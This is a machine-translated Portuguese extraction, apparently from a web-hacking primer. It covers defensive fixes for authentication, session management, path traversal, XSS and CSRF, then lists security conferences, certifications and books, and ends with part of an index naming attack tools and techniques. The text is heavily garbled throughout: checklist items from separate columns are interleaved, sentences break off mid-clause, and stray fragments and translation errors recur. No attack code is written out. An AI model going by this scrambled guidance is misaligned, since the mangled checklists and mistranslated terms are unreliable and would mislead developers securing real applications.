esperados.</p><p>Correções de autenticação quebrada e gerenciamento de sessões Para mim, essa é a vulnerabilidade</p><p>mais assustadora que os aplicativos da Web enfrentam atualmente, porque tudo o que um aplicativo da Web é</p><p>cobrado depende da autenticação e do gerenciamento de sessões. Sem essas duas funcionalidades principais, não</p><p>há transações ou personalização do usuário em nada que fazemos na web. Estaríamos de volta a meados da década</p><p>de 1990, onde tudo eram apenas arquivos HTML estáticos. O erro mais comum que os programadores cometem é</p><p>não usar os recursos de autenticação e gerenciamento de sessão inerentes ao servidor web e ao ambiente de</p><p>desenvolvimento. Você verá frequentemente o conselho</p><p>Machine Translated by Google</p><p>Autenticação</p><p>7. Verifique se a força de quaisquer credenciais de autenticação é suficiente para suportar</p><p>aplicativo são criptografados e armazenados em um local protegido (não no código-fonte).</p><p>1. Verifique se todas as páginas e recursos (arquivos JavaScript, PDFs, imagens, etc.) exigem</p><p>ataques que são típicos das ameaças no ambiente implantado.</p><p>15. Verifique se todos os códigos que implementam ou usam controles de autenticação não são</p><p>autenticação, exceto aquelas especificamente destinadas a serem públicas.</p><p>8. Verifique se todas as funções de gerenciamento de contas são pelo menos tão resistentes a ataques quanto o</p><p>mecanismo de autenticação principal.</p><p>afetado por qualquer código malicioso. Isso é especialmente importante quando você integra código de terceiros</p><p>ao seu ambiente. É muito difícil auditar código que você não escreveu e que só está disponível em um módulo</p><p>empacotado de uma fonte externa.</p><p>2. Verifique se todos os campos de senha não refletem a senha do usuário quando ela é inserida e se</p><p>os campos de senha (ou os formulários que os contêm) estão com o preenchimento automático</p><p>desativado.</p><p>9. Verifique se os usuários podem alterar suas credenciais com segurança usando um mecanismo que seja pelo</p><p>menos tão resistente a ataques quanto o mecanismo de autenticação principal.</p><p>3. Verifique se um número máximo de tentativas de autenticação for excedido, o</p><p>10. Verifique se a reautenticação é necessária antes que quaisquer operações confidenciais específicas do aplicativo</p><p>sejam permitidas, como alterações na conta de e-mail, atualizações de perfil e modificação de informações de</p><p>pagamento armazenadas.</p><p>a conta fica bloqueada por um período de tempo suficiente para impedir ataques de força bruta.</p><p>11. Verifique se, após um período configurável, as credenciais de autenticação expiram para garantir a alteração</p><p>adequada das senhas. Você também pode limitar quanto tempo cada sessão administrativa persiste</p><p>no aplicativo para ajudar a diminuir os ataques de sessão contra essas contas poderosas.</p><p>4. Verifique se todos os controles de autenticação são aplicados no lado do servidor, pois é o único código em que</p><p>você pode confiar 100%. Lembre-se de que os usuários têm controle total sobre o que acontece no lado do cliente,</p><p>portanto, podem desativar facilmente os mecanismos de segurança do JavaScript (e relacionados).</p><p>12. Verifique se todas as decisões de autenticação foram registradas.</p><p>5. Verifique se todos os controles de autenticação (incluindo bibliotecas que chamam serviços de autenticação</p><p>externos) possuem uma implementação centralizada.</p><p>13. Verifique se as senhas das contas são salgadas usando um salt exclusivo para essa conta (por exemplo, ID de</p><p>usuário interno, criação de conta) e com hash antes de armazená-las.</p><p>“não lance sua própria criptografia.”</p><p>Isso também vale para o gerenciamento de sessões. O Padrão de verificação de segurança</p><p>de aplicativos da OWASP possui extensas listas de verificação para autenticação de bot e segurança de gerenciamento de</p><p>sessões. Definitivamente, vale a pena investigar ambos se você for responsável pela segurança de aplicativos da web.</p><p>6. Verifique se todos os controles de autenticação falham de forma segura.</p><p>14. Verifique se todas as credenciais de autenticação para acessar serviços externos ao</p><p>Machine Translated by Google</p><p>1. Verifique se a implementação de controle de gerenciamento de sessão padrão da estrutura é usada pelo</p><p>aplicativo.</p><p>7. Verifique se o ID da sessão foi alterado no login.</p><p>2. Verifique se as sessões são invalidadas quando o usuário efetua logout.</p><p>8. Verifique se o ID da sessão foi alterado na reautenticação.</p><p>A ESAPI também possui duas interfaces apropriadas que tratam da autenticação e do gerenciamento de</p><p>sessões para fornecer proteção adicional contra esses ataques. Uma delas é a API Authenticator que inclui</p><p>métodos para gerar e manipular identificadores de sessão e credenciais de conta. A outra API éUser que gerencia</p><p>com segurança todas as variáveis associadas ao estado de uma conta de usuário.</p><p>a</p><p>3. Verifique se as sessões atingem o tempo limite após um período especificado de inatividade.</p><p>9. Verifique se o ID da sessão foi alterado ou expirou no logout.</p><p>Mitigar vulnerabilidades inseguras de referências diretas a objetos é simples, mesmo que scanners automatizados</p><p>não detectem a falha. A revisão manual do código e solicitações manuais de recursos não autorizados é a maneira</p><p>mais fácil de verificar a vulnerabilidade. Prevenir esse ataque se resume a garantir que cada usuário esteja</p><p>autorizado a solicitar apenas seus recursos e que todas as referências a objetos sejam indiretas. Isso significa</p><p>simplesmente não usar a chave do banco de dados para o identificador de recurso exibido ao usuário (ou enviado</p><p>como um parâmetro que pode ser manipulado) e, em vez disso, usar um procedimento de mapeamento nos</p><p>bastidores do que esses valores realmente significam para o back-end base de dados. Este é outro ótimo uso de</p><p>caixas suspensas para restringir os valores possíveis que um usuário pode selecionar.</p><p>4. Verifique o tempo limite das sessões após um tempo máximo configurável administrativamente</p><p>10. Verifique se apenas os IDs de sessão gerados pela estrutura do aplicativo são reconhecidos</p><p>Outro ótimo exemplo disso é usar um GUID em vez de um nome de arquivo para baixar um arquivo.</p><p>como</p><p>período independentemente da atividade (um tempo limite absoluto).</p><p>como válido pelo aplicativo.</p><p>Então, em vez de um link de download como http://somesecuresite.org/download.php? arquivo=EpicInfo.txt, o</p><p>poderia</p><p>5. Verifique se todas as páginas que requerem autenticação para acessá-las estão funcionando</p><p>11. Verifique se os tokens de sessão autenticados são suficientemente longos e aleatórios para</p><p>aplicativo</p><p>links de logout.</p><p>resistir a ataques típicos das ameaças no ambiente implantado.</p><p>link</p><p>6. Verifique se o ID da sessão nunca é divulgado a não ser nos valores dos cookies,</p><p>12. Verifique se os cookies que contêm tokens/IDs de sessão autenticados têm seu domínio e caminho</p><p>definidos com um valor restritivo apropriado para esse site.</p><p>tal</p><p>particularmente em URLs, mensagens de erro ou logs. Isso inclui verificar se o aplicativo não</p><p>oferece suporte à reescrita de URL de cookies de sessão, quando possível.</p><p>13. Verifique se todos os códigos que implementam ou usam controles de gerenciamento de sessão não</p><p>são afetados por nenhum código malicioso.</p><p>usar</p><p>Gerenciamento de sessão</p><p>Correções de passagem de caminho</p><p>Machine Translated by Google</p><p>A folha de dicas de prevenção XSS</p><p>Correções de usuários da web</p><p>Como a vulnerabilidade de aplicativos da web mais difundida existe no momento em que este livro foi escrito,</p><p>o XSS não tem falta de estratégias de mitigação para ajudar a evitá-la. CSRF e ataques técnicos de</p><p>engenharia social são igualmente dignos de nota quando se trata de medidas preventivas. A chave é</p><p>entender quais dessas abordagens usar, quando implementá-las durante o ciclo de vida de desenvolvimento</p><p>de software e qual manutenção contínua é necessária para garantir que as salvaguardas permaneçam</p><p>aplicáveis.</p><p>Existem várias práticas recomendadas para combater melhor o CSRF e é igualmente difícil prevenir o</p><p>XSS porque o usuário está fortemente envolvido. Não há nenhuma proteção que possa ser implementada</p><p>para garantir que um usuário não clique em um link ou visite um site, mas os desenvolvedores podem</p><p>garantir que seus aplicativos estejam livres de vulnerabilidades CSRF.</p><p>Este é o padrão de fato a ser consultado ao tentar evitar vulnerabilidades XSS em suas aplicações web. Todas as</p><p>outras estratégias de mitigação de XSS listadas nesta seção estão vinculadas diretamente ao XSS Prevent Cheat</p><p>Shee. A Cheat Sheet trata uma página HTML como um modelo, com slots onde um desenvolvedor pode colocar</p><p>dados não confiáveis. Não é permitido colocar dados não confiáveis em outros locais do HTML. De certa forma,</p><p>essa abordagem trata um documento HTML como uma consulta de banco de dados parametrizada; os dados são</p><p>mantidos em locais específicos e isolados. Existem nove regras incluídas na folha de dicas do XSS Preventio.</p><p>1. Nunca insira dados não confiáveis, exceto em locais permitidos</p><p>ESAPI possui duas interfaces que podem ajudar muito na prevenção de ataques inseguros de referência</p><p>direta a objetos. O Access Reference MapAPI executa esse estilo de mapeamento nos bastidores com</p><p>strings aleatórias para ajudar a proteger chaves de banco de dados e nomes de arquivos contra exposição</p><p>a hackers. Esta também é uma defesa válida contra o CSRF. A API Access Controller inclui métodos</p><p>dedicados ao controle de acesso a URLs, dados, arquivos, serviços e funções de negócios. Esta API</p><p>funciona em estreita colaboração com a API Authenticator para recuperar o nível de acesso e as permissões</p><p>do usuário solicitante.</p><p>Em vez de colocar sequências de caracteres na lista negra, você pode comparar o caminho fornecido</p><p>pela entrada com caminhos conhecidos como bons. No PHP, por exemplo, você pode usar o método</p><p>realpath() , que transformará qualquer caminho fornecido em um caminho absoluto em vez de um caminho</p><p>relativo, resolvendo sequências do tipo ../. Em seguida, você compara o caminho retornado com os caminhos</p><p>válidos para garantir que o usuário não esteja tentando sair dos diretórios esperados. Essa mesma</p><p>funcionalidade está disponível em C com realpath(), em Java com GetCanonicalPath(), em .NET com</p><p>GetFullPath() e em Perl com abs_path().</p><p>Embora desagradável de ler, evita adivinhações triviais sobre recursos da web. Também é muito mais</p><p>seguro porque o aplicativo executaria o mapeamento desse GUID no lado do servidor para recuperar o</p><p>recurso — após uma verificação de autorização desse usuário, é claro!</p><p>http://somesecuresite.org/download.php?file=53636f747-4205768697-46520465457.Machine</p><p>Translated by Google</p><p>http://somesecuresite.org/download.php?file%3D53636f747-4205768697-46520465457</p><p>Defesas de código para XSS</p><p>Folha de dicas de validação de entrada A folha de</p><p>dicas de validação de entrada é um ótimo lugar para começar ao abordar a melhor forma de implementar a</p><p>validação de entrada. Existem duas ideias básicas ao lidar com validação de entrada: lista branca e lista negra.</p><p>Lista de permissões é quando você permite que apenas valores conhecidos entrem no aplicativo. Tão importante</p><p>quanto restringir a entrada, o parâmetro é então verificado no lado do servidor para garantir que o valor não foi</p><p>alterado em um proxy interceptador. Algumas das estruturas de desenvolvimento web mais populares já</p><p>possuem esse tipo de funcionalidade integrada; Validação de eventos do .NET, por exemplo: http://</p><p>msdn.microsoft.com/en-us/library/system.web.ui.page.enableeventvalidation.aspx.</p><p>A validação da lista negra é exatamente o oposto, onde o filtro procura caracteres maliciosos conhecidos na</p><p>entrada do usuário e elimina qualquer entrada ofensiva. Por exemplo, um arquivador de lista negra anti-XSS</p><p>certamente capturará as tags . O fardo se torna quando os hackers são inovadores em</p><p>suas tentativas de contornar uma lista negra. É sempre a escolha preferida usar a validação de entrada da lista</p><p>de permissões sempre que possível.</p><p>Uma advertência sobre a validação de entrada: os profissionais de segurança que são os melhores na</p><p>implementação da validação de entrada têm um forte conhecimento de expressões regulares (regex). Não</p><p>corra com medo! Mas esteja ciente de que a validação de entrada forte depende de expressões regulares.</p><p>Existem várias abordagens durante o processo de desenvolvimento que implementam o que as folhas de dicas</p><p>prescrevem e são um ótimo começo para evitar ataques XSS. Alguns dos melhores exemplos incluem o</p><p>seguinte. ÿ Codifique caracteres</p><p>relevantes como , &, ' e “. No ASP.NET você pode usar HttpUtility.HtmlEncode e</p><p>HttpUtility.UrlEncode para auxiliar nesta etapa.</p><p>6. Escape de URL antes de inserir dados não confiáveis em valores de parâmetros de URL HTML</p><p>7. Use um mecanismo de política HTML para validar ou limpar HTML orientado pelo usuário em uma saída</p><p>maneira 8. Impedir XSS baseado em</p><p>DOM 9. Usar sinalizador de cookie HTTPOnly</p><p>valores de propriedade</p><p>2. Escape HTML antes de inserir dados não confiáveis no conteúdo do elemento HTML 3.</p><p>Escape de atributo antes de inserir dados não confiáveis em atributos comuns HTML 4. Escape</p><p>JavaScript antes de inserir dados não confiáveis em valores de dados JavaScript 5. Escape CSS</p><p>e validar estritamente antes de inserir dados não confiáveis no estilo HTML</p><p>HttpUtility.HtmlEncode transforma caracteres como '>' em '&gt;' impedindo que o navegador o execute</p><p>como código, exibindo-o como HTML. HttpUtility.UrlEncode funciona de forma semelhante, exceto em</p><p>qualquer entrada relevante, em vez de apenas caracteres HTML. ÿ Você também pode</p><p>fazer o escape HTML desses valores onde</p><p>mas</p><p>permite a verificação de solicitações e respostas do aplicativo e permite que modificações sejam feitas</p><p>naqueles que são considerados ataques.</p><p>Correções técnicas de engenharia social A boa notícia é que</p><p>esta seção será curta e direta. A má notícia é que isso ocorre porque não há muito que você possa fazer para</p><p>evitar os ataques de usuários que abordamos neste capítulo. Certamente, garantir que seu aplicativo esteja livre</p><p>de vulnerabilidades XSS e CSR eliminará alguns dos ataques, mas outros funcionarão perfeitamente em um</p><p>computador totalmente corrigido. Isso é realmente assustador!</p><p>sessão. Ao fazer isso, o aplicativo pode garantir que cada solicitação realmente venha desse usuário e</p><p>não de outro lugar. Os tokens de desafio geralmente são exclusivos do usuário, mas também podem ser</p><p>exclusivos mediante solicitação. ÿ Use apenas</p><p>solicitações POST e inclua um valor aleatório independente do usuário</p><p>conta. Este valor aleatório também deve ser definido como um cookie para o usuário quando ele visita um</p><p>site pela primeira vez. Dessa forma, mesmo que um invasor tente enviar um formulário em nome de um</p><p>usuário, ele não terá permissão para fazê-lo, pois o valor da pós-solicitação não corresponde ao cookie</p><p>na máquina do usuário.</p><p>Existem abordagens adicionais para proteger seus usuários contra CSRF que você pode seguir, como a lista a</p><p>seguir. ÿ Adicionar tokens (token anti-</p><p>CSRF) a cada solicitação vinculada a um usuário específico</p><p>envie as solicitações desejadas. A inclusão de um token de segurança obrigatório na solicitação HTTP ajuda a</p><p>mitigar ataques CSRF, pois a exploração bem-sucedida pressupõe que o aacker conheça o token gerado</p><p>aleatoriamente para a sessão da vítima alvo. Isto é análogo ao fato de o aacker ser capaz de adivinhar o</p><p>identificador de sessão da vítima alvo, o que é muito improvável de acontecer!</p><p>Portanto, embora seja sempre uma boa ideia incentivar os usuários a se manterem atualizados sobre patches</p><p>e atualizações de sistemas operacionais e fornecedores de software, há toda uma classe de ataques que ainda</p><p>os explorará. Uma boa estratégia de mitigação para os usuários é não clicar em links de e-mails de pessoas que</p><p>você não conhece, não visitar sites nos quais você não confia e quando se deparar com uma pergunta “você quer</p><p>que ele seja executado?” caixa pop-up em seu navegador, sempre clique em Não.</p><p>Machine Translated by Google</p><p>Portanto, este é, em poucas palavras, o fardo que os profissionais de segurança enfrentam agora.</p><p>Como educar a grande população de usuários da web para se protegerem contra esses ataques? Como</p><p>chegar aos usuários reais de nossas aplicações web e mostrar-lhes a maneira certa e errada de viver</p><p>online? Porque enquanto houver usuários sem instrução que clicarão em um link, sempre teremos ataques</p><p>de usuários da web que não podem ser interrompidos.</p><p>Mas esse é o mesmo conselho que vem sendo dado há mais de uma década e que ainda estamos sendo</p><p>explorados.</p><p>Machine Translated by Google</p><p>Próximos passos</p><p>CAPÍTULO 8</p><p>Machine Translated by Google</p><p>Você também pode estar interessado em obter certificados de segurança para se diferenciar</p><p>ainda mais de seus pares. Por último, existem inúmeros livros adicionais que são ótimos caminhos</p><p>para explorar à medida que você continua no caminho do hacking.</p><p>Grupos e eventos da comunidade de segurança Existem inúmeros eventos</p><p>de segurança em todo o mundo dos quais você pode participar, com mais sendo adicionados o tempo todo. Alguns</p><p>são muito conhecidos, como Black Hat e DEFCO, enquanto outros recém-chegados estão começando a ganhar</p><p>força na comunidade de segurança, como DerbyCon e a série B-Sides. Embora não seja uma lista completa, aqui</p><p>estão alguns dos eventos mais populares e respeitados na comunidade de segurança dos quais você deveria tentar</p><p>participar em algum momento: ÿ A Semana da Segurança em Las Vegas é uma peregrinação anual dos interessados</p><p>em segurança para</p><p>participar de três das conferências mais populares do mundo. Não há apenas palestras, mas também workshops</p><p>de treinamento, concursos e vilas que oferecem conteúdo especializado como hacking de hardware,</p><p>arrombamento de fechaduras e engenharia social, além das áreas tradicionais de hacking com as quais você</p><p>está familiarizado. Fora da agenda formal das conferências, há inúmeras oportunidades para</p><p>conhecer pessoas importantes do setor de segurança e aumentar sua rede de amigos, associados, mentores</p><p>e outras pessoas com ideias semelhantes! É realmente uma experiência que todos os interessados em</p><p>segurança deveriam participar pelo menos uma vez na vida. Mais informações sobre Black Hat, DEFCON e</p><p>B-Sides Las Vegas estão disponíveis nos seguintes sites e seguindo-os no Twitter. Black Hat USA (https://</p><p>www.blackhat.com/ | @BlackHatEvents), DEFCON (http://defcon.org/ | @_defcon_) e B-Sides Las</p><p>Vegas</p><p>Existem também grupos e eventos comunitários de segurança que são um excelente recurso</p><p>para aqueles interessados em continuar a aumentar seus conhecimentos e habilidades em</p><p>segurança. Você também pode estar interessado em aprimorar sua educação formal na área de</p><p>segurança da informação. Se esse for do seu interesse, há uma longa lista de faculdades</p><p>comunitárias, faculdades técnicas e universidades que oferecem cursos de segurança da</p><p>informação em todos os níveis; desde um curso de 2 anos até um doutorado.</p><p>Existem várias áreas diferentes de segurança nas quais você pode passar desde o início do</p><p>hacking na web. Há material técnico muito mais profundo dedicado ao hacking na web, além de</p><p>todas as outras áreas específicas de segurança, como hacking de rede, exploração de software,</p><p>defesa de rede, codificação segura, análise forense digital, a arte dos testes de penetração e red</p><p>teaming, e muitos outros.</p><p>Introdução</p><p>Resumo do capítulo: ÿ</p><p>Juntando-se à comunidade de hackers: grupos e eventos ÿ</p><p>Faculdade para hackers: o que as universidades podem</p><p>oferecer a você ÿ Quais certificados valem seu tempo e</p><p>dinheiro? ÿ Livros de segurança de primeira linha para adicionar à sua coleção</p><p>Machine Translated by Google</p><p>competições específicas para segurança de aplicações web. Esta é uma convenção itinerante que</p><p>sempre escolhe ótimos locais e é realizada no outono do ano. (https://</p><p>www.owasp.org/index.php/Category:OWASP_AppSec_Conference | @AppSecUSA)</p><p>ÿ Os eventos B-Sides de segurança são realizados em todo o mundo durante o ano. Você é</p><p>fortemente encorajado a conferir a programação completa e se envolver! O grupo B-Sides está</p><p>sempre em busca de ajuda de pessoas honestas que queiram ajudar na organização das</p><p>conferências. E como um bônus adicional, os eventos B-Sides são gratuitos e oferecidos em vários</p><p>locais e datas ao redor do mundo! (http://www.securitybsides.org/ | @SecurityBSides)</p><p>ÿ ShmooCon é uma convenção anual de hackers realizada em Washington, DC, geralmente em janeiro ou</p><p>fevereiro, que oferece 2 dias de palestras a um preço muito acessível. ShmooCon sempre</p><p>esgota</p><p>e o espaço é limitado, então você é encorajado a agir rapidamente se quiser participar. Eles</p><p>orgulham o evento de uma atmosfera para demonstrar a exploração tecnológica, soluções</p><p>inventivas de software e hardware e discussões abertas sobre questões críticas de segurança da</p><p>informação. (http://www.shmoocon.org/ | @shmoocon) ÿ DakotaCon é uma conferência anual</p><p>de segurança da primavera realizada no campus da Dakota State University em Madison, SD, que oferece</p><p>1 dia de palestras gratuitas na sexta-feira com alguns dos principais seguranças profissionais do</p><p>mundo. O fim de semana é repleto de treinamentos práticos dos palestrantes a preços com</p><p>grandes descontos para os participantes. (http://dakotacon.org/ | @DakotaCon) ÿ</p><p>AppSecUSA é a convenção anual da OWASP</p><p>que inclui palestras, treinamentos e</p><p>(http://bsideslv.com/ | @bsideslv). ÿ</p><p>DerbyCon é uma nova conferência que teve um crescimento explosivo desde seu início em</p><p>2011. Ela oferece palestras e treinamentos que exigem uma taxa de inscrição muito</p><p>competitiva (US$ 150 para palestras e US$ 1.000 para treinamentos para a DerbyCon 3 em</p><p>2013) em comparação com as maiores conferências de segurança da informação. . É realizado todos</p><p>os anos no outono em Louisville, KY. Mais informações podem ser encontradas em https://</p><p>www.derbycon.com/ | @DerbyCon.</p><p>ÿ E muitas outras conferências que estão a apenas uma pesquisa na web! Existe até um Google Agenda</p><p>chamado Conferências de Segurança da Informação e uma conta no Twitter @HackerCons que tem</p><p>muitos outros eventos excelentes dos quais você pode participar.</p><p>Os grupos de segurança regionais e locais continuam a ganhar impulso à medida que mais pessoas se</p><p>interessam pelos aspectos ofensivos e defensivos da segurança. Se você não puder comparecer a alguns</p><p>eventos nacionais, passar tempo com seus grupos locais é um grande investimento de tempo e esforço.</p><p>Existem vários grupos nacionais que possuem capítulos locais que vale a pena conferir. ÿ Infragard do FBI,</p><p>que é uma parceria entre o Federal Bureau of</p><p>Investigation</p><p>e o setor privado, é uma associação de empresas, instituições acadêmicas, agências policiais estaduais</p><p>e locais dedicadas ao compartilhamento de informações e inteligência para prevenir atos hostis contra</p><p>as infraestruturas críticas dos Estados Unidos. Se isso for muito pesado para você, a Infragard</p><p>também é um ótimo lugar para interagir com profissionais regionais que compartilham interesses de</p><p>segurança. (http://www.infragard.net/)</p><p>Machine Translated by Google</p><p>http://www.securitybsides.org/</p><p>http://bsideslv.com/</p><p>Educação formal</p><p>ÿ Existem também inúmeras outras associações e grupos, como a ISSA, ISACA,</p><p>ASIS e os 2.600 grupos que possuem grupos na maioria das grandes cidades.</p><p>ÿ Os Hackerspaces, que são locais físicos operados pela comunidade onde as pessoas podem se encontrar</p><p>e trabalhar em seus projetos, são há muito tempo um elemento básico da comunidade de</p><p>segurança. (http://hackerspaces.org/)</p><p>Há também uma grande variedade de workshops de treinamento presenciais e on-line disponíveis em todas</p><p>as áreas de segurança. Dependendo do local e do curso que você selecionar, o custo dos cursos de treinamento</p><p>pode ser proibitivo para alguns possíveis participantes. Porém, são ótimas aulas e com certeza você aprenderá</p><p>muito matriculando-se nelas. Black Hat (http://www.blackhat.com) e SANS Information Security & Research</p><p>(http://www.sans.org) são líderes do setor no fornecimento de grandes ofertas de workshops de segurança,</p><p>portanto, confira seus sites para saber dos próximos eventos . Se você está procurando o treinamento</p><p>tecnicamente mais desafiador disponível para usar toda a distribuição do BackTrack, dê uma olhada nos</p><p>treinamentos fornecidos pela equipe da Offensive Security (http://www.offensive-security.com/information-</p><p>security-training/) onde oferecem workshops presenciais e online altamente conceituados na comunidade de</p><p>segurança.</p><p>A maioria dos workshops de treinamento dura de 2 a 5 dias, dependendo do local e do tema, então esteja</p><p>preparado para uma experiência muito intensa que o levará a aprender ainda mais! Há também uma grande</p><p>variedade de vídeos e tutoriais on-line que podem ser facilmente pesquisados no Google. Uma coleção que</p><p>inclui muitos tópicos diferentes de vários apresentadores está localizada em http://www.securitytube.net.</p><p>Application Security Project, é um dos melhores grupos dedicados à segurança web.</p><p>Esses grupos estão sempre em busca de participantes para participar e apresentar nas reuniões.</p><p>(https://www.owasp.org/index.php/Category:OWASP_Chapter)</p><p>ÿ Capítulos OWASP, que são os capítulos locais e regionais da Open Web</p><p>ÿ Os Grupos DEFCON, que normalmente são divididos por código de área, são os grupos oficiais</p><p>associados à conferência nacional maior. Os projetos de grupo, os cronogramas e as áreas de</p><p>ênfase diferem de um grupo para outro, mas os grupos DEFCON são alguns dos membros mais ativos</p><p>na comunidade de segurança. Geralmente há um encontro na conferência nacional. (https://</p><p>www.defcon.org/html/defcon-groups/dc-groups-index.html)</p><p>disponível</p><p>Existem várias opções se você deseja obter qualquer nível de diploma universitário em segurança da informação; existem graus de</p><p>associado, bacharelado, mestrado e doutorado. Existem opções de entrega presencial e on-line, para que você não precise</p><p>necessariamente mudar ou abandonar seu emprego atual para obter seu diploma. O Departamento de Segurança Interna (DHS) e</p><p>a Agência de Segurança Nacional (NSA) identificaram 170 instituições de ensino superior que oferecem cursos de segurança</p><p>aplicáveis como Centros de Excelência Acadêmica em Educação em Garantia da Informação (CAE-I AE) e muitas têm programas</p><p>de graduação dedicados a segurança. Uma lista dessas escolas, juntamente com links para programas acadêmicos disponíveis,</p><p>é</p><p>Machine Translated by Google</p><p>http://www.securitytube.net</p><p>Livros Adicionais</p><p>Certificações</p><p>(Na verdade, os mesmos argumentos apresentados a favor e contra as certificações podem ser</p><p>apresentados a favor e contra a educação formal!) Algumas pessoas as veem como nada mais do</p><p>que a capacidade de memorizar as perguntas do teste, enquanto outras as consideram altamente</p><p>consideradas como um indicador de seu conhecimento de segurança. . Algumas certificações são</p><p>questões de múltipla escolha, mas outras são muito práticas e práticas e fornecem um verdadeiro</p><p>indicador do conhecimento e habilidade técnica de segurança do participante. Não há mal nenhum</p><p>em obter certificações e alguns cargos profissionais exigem (ou pelo menos incentivam fortemente)</p><p>que você tenha certificações. Independentemente da sua opinião pessoal sobre as certificações,</p><p>aqui estão algumas das melhores do setor de segurança. ÿ A equipe da Offensive Security</p><p>possui uma série de certificações práticas altamente respeitadas, incluindo a certificação</p><p>Offensive Security Certified Professional (OSCP), Offensive Security Wireless Professional</p><p>(OSWP), Offensive Security Certified Expert (OSCE) e Offensive Security</p><p>Web Expert (OSWE).</p><p>Mais informações sobre eles estão disponíveis em http://www.offensive-</p><p>security.com/information-security-certifications/. ÿ A Certificação Global de Garantia de Informação (GIAC) oferece muitas certificações, mas</p><p>talvez o mais aplicável à segurança técnica seja o Security Essentials (GSEC).</p><p>É melhor para profissionais de TI que têm funções práticas em relação a tarefas de segurança.</p><p>Os candidatos devem demonstrar uma compreensão da segurança da informação além da simples</p><p>terminologia e conceitos. Mais informações sobre o GSEC estão disponíveis em http://www.giac.org/</p><p>certification/security-essentials-gsec. 2 oferece ÿ Ao Consórcio Internacional</p><p>de Certificação de Segurança de Sistemas de Informação (ISC) o Profissional Certificado de Segurança de Sistemas de Informação</p><p>(CISSP), que é uma das certificações mais conhecidas disponíveis atualmente. Você deve ter cinco ou</p><p>mais anos na área de segurança antes de tentar obter o certificado CISSP completo. Mais informações</p><p>sobre o CISSP e todas as outras certificações disponíveis no (ISC) estão disponíveis em https://</p><p>www.isc2.org/cissp/default.aspx. ÿ A certificação Security + da CompTIA é geralmente uma das primeiras</p><p>certificações que os participantes novos no setor</p><p>de segurança obtêm. Muitas vezes, é fortemente incentivado a colocação no governo federal dos EUA para</p><p>empregos básicos de segurança, pois fornece uma base sólida de tópicos de segurança. Mais</p><p>informações sobre Security + estão disponíveis em http://certification.comptia.org/get Certified/certifications/</p><p>security.aspx.</p><p>é</p><p>Há um grande debate na comunidade de segurança sobre o verdadeiro valor dos certificados.</p><p>A NSA também criou uma designação para Centros de Excelência Acadêmica em Operações Cibernéticas</p><p>(CAE-CO) que fornece as habilidades mais técnicas para concluir tarefas avançadas de segurança. Esses</p><p>programas têm forte influência da ciência da computação e, dependendo de seus objetivos profissionais, podem</p><p>ser uma ótima opção para você. Mais informações sobre o CAE-CO disponíveis em http://www.nsa.gov/academia/</p><p>nat_cae_cyber_ops/nat_cae_co_centers.shtml.</p><p>http://www.nsa.gov/ia/academic_outreach/nat_cae/institutions.shtml.</p><p>,2</p><p>Machine Translated by Google</p><p>http://www.nsa.gov/ia/academic_outreach/nat_cae/institutions.shtml</p><p>Os princípios básicos do hacking na Web. E, embora não seja oficialmente um livro, o OWASP Testing Guid</p><p>ÿ Tangled Web: um guia para proteger aplicativos da Web modernos, por Michal Zalewski</p><p>é uma ótima publicação para todos os interessados em segurança de aplicações web e pode ser</p><p>ÿ Metasploit: Guia do testador de penetração por David Kennedy, Jim O'Gorman, Devon</p><p>como abaixado (ou difícil em</p><p>Kearns e Mati Aharoni</p><p>ÿ Fuzzing para testes de segurança de software e garantia de qualidade por Ari Takanen, Jared</p><p>https://www.owasp.org/index.php/OWASP_Testing_Project. Sem nenhuma ordem específica, aqui</p><p>ÿ Análise prática de malware: o guia prático para dissecar software malicioso por</p><p>DeMott e Charlie Miller</p><p>há alguns outros livros que você é especialmente encorajado a ler.</p><p>Michael Sikorski e Andrew Honig</p><p>ÿ Manual do Hacker de Aplicações Web: Encontrando e Explorando Falhas de Segurança por Dafydd</p><p>ÿ Gray Hat Hacking O Manual dos Hackers Éticos por Allen Harper, Shon Harris,</p><p>Stuttard e Marcus Pinto</p><p>Jonathan Ness, Chris Eagle, Gideon Lenkey e Terron Williams</p><p>ÿ Noções básicas de hackers e testes de penetração: hackers éticos e testes de penetração</p><p>comprado</p><p>Não faltam ótimos livros de segurança para os quais você pode fazer a transição após concluir</p><p>Fácil (2ª edição) por Patrick Engebretson</p><p>cópia de)</p><p>Machine Translated by Google</p><p>Nota: Os números das páginas seguidos de b indicam caixas e f indicam figuras.</p><p>BackTrack, 12–13, 14f</p><p>A</p><p>Projeto Estrutura de Exploração do Navegador (BeEF), 123</p><p>API do controlador de acesso, 132</p><p>Exercício de força bruta, para ataque de autenticação online</p><p>API do mapa de referência de acesso, 132</p><p>Arroto Intruso</p><p>Servidor de aplicativos, 8</p><p>logins de força bruta, 93–94, 94f</p><p>configuração de, 90–92 cargas</p><p>úteis, 92–93 seleção</p><p>de arquivo de tempo de execução, 93, 94f</p><p>tentativa de autenticação de interceptação, 89–90</p><p>Ataques de autenticação</p><p>Configuração do</p><p>Burp Scanner, 59</p><p>revisando resultados, 59–62 em</p><p>execução, 59</p><p>características, 87-88</p><p>Testes do Burp Sequencer, para ataques de sessão</p><p>ferramenta baseada em proxy, 87–88</p><p>B</p><p>Índice</p><p>Machine Translated by Google</p><p>Interceptação da Suíte Burp</p><p>exercício de execução de comando, 80-82</p><p>configuração, 43–45</p><p>spidering</p><p>para hackers, 79-80</p><p>automatizado, 45</p><p>injeção SQL</p><p>manual, 45</p><p>Exercício DVWA, 66-75</p><p>correndo, 45-49</p><p>recurso, 64</p><p>C</p><p>para hackers, 65-66</p><p>Vulnerabilidades de injeção de código</p><p>Intérprete SQL, 64–65 shells</p><p>da web, 85</p><p>Ferramentas Burp Suite, 68, 69</p><p>parâmetro de URL cmd, 86</p><p>execução de comandos personalizados, 84, 86f</p><p>descrição, 83 locais</p><p>de arquivo, 84, 84f resultados</p><p>netstat, 84, 86f shell de</p><p>comando primitivo, 85 comando</p><p>shellhelp, 84, 85f</p><p>resultados de nível de bit, 97,</p><p>99f descrição, 96</p><p>resultados de entropia, 97, 98f</p><p>identificação do identificador de sessão, 96, 97f</p><p>procedimento, 96</p><p>Injeção de comando do sistema operacional</p><p>Machine Translated by Google</p><p>Identificador de vulnerabilidades e exposições comuns (CVE), 31</p><p>Consulte também ataques XSS refletidos, ataques XSS armazenados</p><p>Biscoito, 5</p><p>defesas do navegador, 134</p><p>CSRF, consulte Falsificação de solicitação entre sites (CSRF)</p><p>D</p><p>Método Coletor de Credenciais, 121</p><p>defesas de código, 134</p><p>Maldita configuração de aplicativo da Web vulnerável 